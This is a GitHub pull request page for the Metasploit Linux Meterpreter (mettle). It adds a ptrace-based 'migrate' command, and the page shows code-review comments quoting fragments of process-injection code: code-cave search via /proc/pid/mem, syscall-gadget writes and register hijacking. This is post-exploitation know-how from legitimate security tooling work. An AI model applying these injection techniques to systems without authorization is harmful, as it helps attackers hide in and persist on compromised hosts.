Skip to content

Adds migrate command for Linux x64/x86#287

Open
msutovsky-r7 wants to merge 16 commits intorapid7:masterfrom
msutovsky-r7:feat/linux/migrate
Open

Adds migrate command for Linux x64/x86#287
msutovsky-r7 wants to merge 16 commits intorapid7:masterfrom
msutovsky-r7:feat/linux/migrate

Conversation

@msutovsky-r7
Copy link
Copy Markdown
Contributor

@msutovsky-r7 msutovsky-r7 commented Oct 23, 2025

This adds support for migrate command on Mettle side for Linux x64/x86. This PR only adds support for Mettle to inject migrate stub and execute payload, session handling needs to be taken care in Framework. Currently, the migrate needs privilege to use ptrace syscall.

@dledda-r7 dledda-r7 self-assigned this Nov 6, 2025
@msutovsky-r7 msutovsky-r7 changed the title [WIP] Migrate command for Linux meterpreter Migrate command for Linux meterpreter Feb 23, 2026
@msutovsky-r7 msutovsky-r7 changed the title Migrate command for Linux meterpreter Adds migrate command for Linux x64/x86 Feb 23, 2026
@msutovsky-r7 msutovsky-r7 marked this pull request as ready for review February 23, 2026 16:34
Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds Linux x64/x86 support for the migrate command in mettle by introducing a ptrace-based injector and exposing transport/socket details needed to stage the new session.

Changes:

  • Adds new TLV fields and core TLV handlers for core_migrate and core_transport_list.
  • Introduces a new ptrace-based injection implementation (base_inject.*) and wires it into the build.
  • Adds APIs to retrieve the underlying socket FD from the active C2 transport.

Reviewed changes

Copilot reviewed 12 out of 12 changed files in this pull request and generated 17 comments.

Show a summary per file
File Description
mettle/src/tlv_types.h Adds migrate-related TLVs and adjusts transport-group TLV ID.
mettle/src/network_client.h Exposes network_client accessors for bufferev and socket FD.
mettle/src/network_client.c Implements the new network_client accessor functions.
mettle/src/coreapi.c Adds core_migrate and core_transport_list handlers and registers them.
mettle/src/c2_tcp.c Adds c2_transport_get_socket_fd() implementation (currently TCP-specific).
mettle/src/c2.h Exposes c2_get_next_transport() and c2_transport_get_socket_fd() prototypes.
mettle/src/c2.c Implements c2_get_next_transport() (and introduces an extra c2_get_fd stub).
mettle/src/bufferev.h Adds bufferev_get_socket_fd() declaration.
mettle/src/bufferev.c Implements bufferev_get_socket_fd().
mettle/src/base_inject.h Introduces injector header/API for migrate support.
mettle/src/base_inject.c Adds ptrace-based injector implementation for Linux migrate.
mettle/src/Makefile.am Adds base_inject.c to libmettle sources.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

return 0;
}

struct c2_transport* c2_get_next_transport(struct c2_transport *t){
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

c2_get_next_transport() dereferences t without a NULL check. core_transport_list() will crash if it ever calls this with a NULL transport (e.g., no transports configured or current_transport not set). Either guard against NULL here or ensure callers validate inputs before iterating.

Suggested change
struct c2_transport* c2_get_next_transport(struct c2_transport *t){
struct c2_transport* c2_get_next_transport(struct c2_transport *t){
if (t == NULL) {
return NULL;
}

Copilot uses AI. Check for mistakes.
Comment on lines +99 to +105
void get_process_writable_sections(int pid, writable_section_ptr process_sections)
{

FILE * maps_handler;
char * line = NULL;
size_t len = 0;
int section_count = 0;
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The type/field naming here is misleading: get_process_writable_sections() / writable_section_t imply writable memory, but the implementation filters for 'x' (executable) permissions. This makes the injection logic harder to reason about and increases the chance of future bugs. Rename the function/struct/fields to reflect what they actually hold (e.g., executable_sections) or update the filter if the intent really is writable mappings.

Copilot generated this review using guidance from organization custom instructions.
Comment on lines +111 to +120
maps_handler = fopen(maps_file_path, "r");

char * permissions;
long start_address;
long end_address;

process_sections->pid = pid;

while(getline(&line,&len, maps_handler) != -1)
{
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

maps_handler is not checked for NULL before getline() is called. If fopen() fails (permissions, missing /proc, etc.), this will dereference a NULL FILE* and crash. Handle fopen failure and return an error to the caller.

Copilot uses AI. Check for mistakes.
Comment on lines +167 to +181
mem_handler = fopen(mem_file_path, "r");

for(int i = 0; i < 255; i++)
{
long section_start = process_sections->sections[i].start_address;
long section_end = process_sections->sections[i].end_address;

fseek(mem_handler, section_start, SEEK_SET);

long section_size = section_end - section_start;

mem_data = malloc(sizeof(char)*(int)(section_end-section_start));

fread(mem_data,sizeof(char), (int)(section_end-section_start), mem_handler);

Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

mem_handler and mem_data are not validated here. If fopen(/proc//mem) or malloc fails, fseek/fread will operate on NULL and crash. Also, allocating (section_end - section_start) bytes can be extremely large and cause OOM; consider scanning in smaller chunks and bounding the maximum allocation.

Copilot uses AI. Check for mistakes.
Comment on lines +1 to +15
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <stddef.h>
#include <dlfcn.h>
#include <sigar.h>
#include <sigar_private.h>
#include <sigar_util.h>

//temporarly using PTRACE
#include <sys/wait.h>
#include <sys/ptrace.h>

Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

base_inject.h is missing an include guard, unlike other headers in this repo. Without a guard it can be included multiple times and cause redefinition errors (e.g., struct user_regs_struct). Add a conventional #ifndef/#define/#endif guard for this header.

Copilot uses AI. Check for mistakes.
struct tlv_packet *packet_group = tlv_packet_new(TLV_TYPE_TRANS_GROUP, 0);
packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_URL, c2_transport_uri(current_transport));
if (packet_group) {
printf("Adding transport '%s' to transport list response\n", c2_transport_uri(current_transport));
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This uses printf() for runtime logging inside the transport list handler. The rest of the codebase uses the log_() helpers; printf can pollute stdout/stderr and may break consumers that treat stdout as protocol data. Switch this to an appropriate log_ level (or remove it) and avoid logging transport URIs unless needed for debugging.

Suggested change
printf("Adding transport '%s' to transport list response\n", c2_transport_uri(current_transport));
log_debug("Adding transport to transport list response");

Copilot uses AI. Check for mistakes.
Comment on lines +62 to +63
struct tcp_ctx *ctx = (struct tcp_ctx*)(c2_transport_get_ctx(c2->curr_transport));
return 1;
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

c2_get_fd() references struct tcp_ctx, which is only defined in c2_tcp.c and not visible here, so this will not compile. The function also returns a constant and appears unused. Remove this function or rework it so it does not depend on transport-private types (e.g., use a public API like c2_transport_get_socket_fd).

Suggested change
struct tcp_ctx *ctx = (struct tcp_ctx*)(c2_transport_get_ctx(c2->curr_transport));
return 1;
if (c2 == NULL || c2->curr_transport == NULL) {
return -1;
}
return c2_transport_get_socket_fd(c2->curr_transport);

Copilot uses AI. Check for mistakes.
Comment on lines +283 to +288
codecave_address = find_codecave(pid, sizeof(DO_SYSCALL), process_sections);

if(codecave_address == 0)
return 0;

if(remote_write(pid, codecave_address, DO_SYSCALL, sizeof(DO_SYSCALL)) == 0)
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

sizeof(DO_SYSCALL) includes the trailing NUL in the string literal, so find_codecave()/remote_write() will search/write 4 bytes instead of the intended 3 instruction bytes. Use the actual instruction length (e.g., sizeof(DO_SYSCALL) - 1) or define DO_SYSCALL as a byte array with an explicit length to avoid writing an unintended 0x00 into the target.

Suggested change
codecave_address = find_codecave(pid, sizeof(DO_SYSCALL), process_sections);
if(codecave_address == 0)
return 0;
if(remote_write(pid, codecave_address, DO_SYSCALL, sizeof(DO_SYSCALL)) == 0)
codecave_address = find_codecave(pid, sizeof(DO_SYSCALL) - 1, process_sections);
if(codecave_address == 0)
return 0;
if(remote_write(pid, codecave_address, DO_SYSCALL, sizeof(DO_SYSCALL) - 1) == 0)

Copilot uses AI. Check for mistakes.
struct c2_transport * transport = c2_get_current_transport(c2);
int fd = c2_transport_get_socket_fd(transport);

if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid, fd))
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

c2_transport_get_socket_fd() is assumed to work for the current transport, but mettle supports non-TCP transports (e.g. http/https). The current implementation of c2_transport_get_socket_fd() casts the transport ctx to tcp_ctx, which will be invalid for HTTP and can crash or leak memory. Either (a) move this API behind transport callbacks so each transport type can implement it safely, or (b) explicitly restrict migrate to fd/tcp transports and fail cleanly for others; also handle fd == -1 before calling migrate().

Suggested change
if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid, fd))
/* Only attempt migration when we have a valid transport file descriptor. */
if (fd >= 0 && migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid, fd))

Copilot uses AI. Check for mistakes.
Comment on lines +22 to +29
if (t == NULL) {
return -1;
}
struct tcp_ctx *ctx = (struct tcp_ctx *)c2_transport_get_ctx(t);
if (ctx == NULL || ctx->nc == NULL) {
return -1;
}
return network_client_get_socket_fd(ctx->nc);
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

c2_transport_get_socket_fd() is defined in the TCP transport and unconditionally treats the opaque transport ctx as tcp_ctx. If the current transport is http/https (also supported in this repo), this will interpret a http_ctx as tcp_ctx and can crash. This API should be implemented in c2.c where the real transport type is known, or exposed via a new callback in c2_transport_cbs so each transport can safely return a socket fd (or -1).

Suggested change
if (t == NULL) {
return -1;
}
struct tcp_ctx *ctx = (struct tcp_ctx *)c2_transport_get_ctx(t);
if (ctx == NULL || ctx->nc == NULL) {
return -1;
}
return network_client_get_socket_fd(ctx->nc);
/* This transport-specific implementation cannot safely interpret the
* opaque c2_transport context for all possible transport types.
* To avoid undefined behavior when used with non-TCP transports,
* we conservatively report that no socket file descriptor is available.
*/
(void)t;
return -1;

Copilot uses AI. Check for mistakes.
if (!payload || payload_length == 0)
return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE);

//char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length);
Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
//char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length);

#define TLV_TYPE_TRANS_RETRY_TOTAL (TLV_META_TYPE_UINT | 439)
#define TLV_TYPE_TRANS_RETRY_WAIT (TLV_META_TYPE_UINT | 440)
#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 441)
#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 442)
Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The definition in Framework:

./rex/post/meterpreter/packet.rb:106:TLV_TYPE_TRANS_GROUP         = TLV_META_TYPE_GROUP  | 442

It was failing due to unknown TLV type IIRC.

Comment on lines +332 to +346
#if defined(__x86_64__)
regs.rip = stub_address;
regs.rsp = saved_regs.rsp+0x100;
regs.rbp = saved_regs.rbp;
regs.rax = payload_address;
regs.rbx = getpid();
regs.rcx = fd;
#elif defined(__i386__)
regs.eip = stub_address;
regs.esp = saved_regs.esp + 0x100;
regs.ebp = saved_regs.ebp;
regs.eax = payload_address; // payload mmap base
regs.ebx = getpid(); // current pid (for pidfd_open in child)
regs.ecx = fd; // socket fd (for pidfd_getfd in child)
#endif
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This would be a nice HIJACK_REGISTERS macro

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

3 participants